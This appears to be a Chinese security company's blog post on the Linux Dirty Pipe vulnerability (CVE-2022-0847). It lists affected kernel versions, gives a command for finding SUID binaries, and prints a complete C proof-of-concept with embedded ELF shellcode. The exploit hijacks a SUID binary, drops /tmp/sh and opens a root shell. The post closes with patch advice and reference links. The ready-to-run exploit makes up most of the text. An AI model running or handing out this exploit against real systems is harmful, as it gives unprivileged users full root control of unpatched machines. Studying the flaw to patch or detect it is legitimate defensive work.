服务热线
15527777548/18696195380
发布时间:2022-03-10
简要描述:
0x01 前言 攻击者通过利用CVE-2022-0847-DirtyPipe漏洞,可覆盖重写任意可读文件中的数据,从而可将普通权限的用户提升到root权限。0x02 漏洞影响影响版本5.8 <= Linux kern...
0x01 前言
攻击者通过利用CVE-2022-0847-DirtyPipe漏洞,可覆盖重写任意可读文件中的数据,从而可将普通权限的用户提升到root权限。
0x02 漏洞影响
影响版本
5.8 <= Linux kernel < 5.16.11 / 5.15.25 / 5.10.102
安全版本
该漏洞已在Linux 5.16.11、5.15.25 和 5.10.102 中修复。
0x03 漏洞复现
先找一个具有SUID权限的可执行文件,进行提权
find / -user root -perm /4000 2>/dev/null
漏洞PoC:
// dirtypipez.c #define _GNU_SOURCE#include #include #include #include #include #include #include #include #ifndef PAGE_SIZE#define PAGE_SIZE 4096#endif // small (linux x86_64) ELF file matroshka doll that does;// fd = open("/tmp/sh", O_WRONLY | O_CREAT | O_TRUNC);// write(fd, elfcode, elfcode_len)// chmod("/tmp/sh", 04755)// close(fd);// exit(0);//// the dropped ELF simply does:// setuid(0);// setgid(0);// execve("/bin/sh", ["/bin/sh", NULL], [NULL]);unsigned char elfcode[] = { /*0x7f,*/ 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x3d, 0x56, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0x41, 0x02, 0x00, 0x00, 0x48, 0xc7, 0xc0, 0x02, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x89, 0xc7, 0x48, 0x8d, 0x35, 0x44, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc2, 0xba, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0xc7, 0xc0, 0x03, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d, 0x3d, 0x1c, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0xed, 0x09, 0x00, 0x00, 0x48, 0xc7, 0xc0, 0x5a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x2f, 0x74, 0x6d, 0x70, 0x2f, 0x73, 0x68, 0x00, 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x69, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x6a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d, 0x3d, 0x1b, 0x00, 0x00, 0x00, 0x6a, 0x00, 0x48, 0x89, 0xe2, 0x57, 0x48, 0x89, 0xe6, 0x48, 0xc7, 0xc0, 0x3b, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00}; /** * Create a pipe where all "bufs" on the pipe_inode_info ring have the * PIPE_BUF_FLAG_CAN_MERGE flag set. */static void prepare_pipe(int p[2]){ if (pipe(p)) abort(); const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ); static char buffer[4096]; /* fill the pipe completely; each pipe_buffer will now have the PIPE_BUF_FLAG_CAN_MERGE flag */ for (unsigned r = pipe_size; r > 0;) { unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r; write(p[1], buffer, n); r -= n; } /* drain the pipe, freeing all pipe_buffer instances (but leaving the flags initialized) */ for (unsigned r = pipe_size; r > 0;) { unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r; read(p[0], buffer, n); r -= n; } /* the pipe is now empty, and if somebody adds a new pipe_buffer without initializing its "flags", the buffer will be mergeable */} int hax(char *filename, long offset, uint8_t *data, size_t len) { /* open the input file and validate the specified offset */ const int fd = open(filename, O_RDONLY); // yes, read-only! :-) if (fd < 0) { perror("open failed"); return -1; } struct stat st; if (fstat(fd, &st)) { perror("stat failed"); return -1; } /* create the pipe with all flags initialized with PIPE_BUF_FLAG_CAN_MERGE */ int p[2]; prepare_pipe(p); /* splice one byte from before the specified offset into the pipe; this will add a reference to the page cache, but since copy_page_to_iter_pipe() does not initialize the "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */ --offset; ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0); if (nbytes < 0) { perror("splice failed"); return -1; } if (nbytes == 0) { fprintf(stderr, "short splice"); return -1; } /* the following write will not create a new pipe_buffer, but will instead write into the page cache, because of the PIPE_BUF_FLAG_CAN_MERGE flag */ nbytes = write(p[1], data, len); if (nbytes < 0) { perror("write failed"); return -1; } if ((size_t)nbytes < len) { fprintf(stderr, "short write"); return -1; } close(fd); return 0;} int main(int argc, char **argv) { if (argc != 2) { fprintf(stderr, "Usage: %s SUID", argv[0]); return EXIT_FAILURE; } char *path = argv[1]; uint8_t *data = elfcode; int fd = open(path, O_RDONLY); uint8_t *orig_bytes = malloc(sizeof(elfcode)); lseek(fd, 1, SEEK_SET); read(fd, orig_bytes, sizeof(elfcode)); close(fd); printf("[+] hijacking suid binary.."); if (hax(path, 1, elfcode, sizeof(elfcode)) != 0) { printf("[~] failed"); return EXIT_FAILURE; } printf("[+] dropping suid shell.."); system(path); printf("[+] restoring suid binary.."); if (hax(path, 1, orig_bytes, sizeof(elfcode)) != 0) { printf("[~] failed"); return EXIT_FAILURE; } printf("[+] popping root shell.. (dont forget to clean up /tmp/sh ;))"); system("/tmp/sh"); return EXIT_SUCCESS;}
0x04 修复建议
升级linux内核到安全版本:
Linux 内核 >= 5.16.11 Linux 内核 >= 5.15.25 Linux 内核 >= 5.10.102
0x05 参考链接
https://mp.weixin.qq.com/s?__biz=MzI1NTM4ODIxMw==&tempkey=MTE1NV9PVis1NU85cFZZQXVFYmZ1WTVkUlpsVGVvTGwwbndZX0lHUjM2dklaaXpieTFFeHlxblJkZkpzZmpSanRZRk1way1RRldoTkJlT1pNSlo2UmkwNzMzTVg2YUpvVjZSLTY4N0RKWGhPNUtSVGx2cE5rS2dxN1BXc1BtR2hpS2JwZFZMOFZNa0VveVdKMnYxUHlNN0xGS3lBd0hNUGRpRTFPRWc5aDRBfn4%3D&chksm=6a341e415d4397575012b4578d63c643957352ee896b255943cb5f52a6471389907b129d6b26#rdhttps://mp.weixin.qq.com/s/oMe3CbXpgfncq1qzXsHnHg
下一篇:获取域内管理员和用户信息
如果您有任何问题,请跟我们联系!
联系我们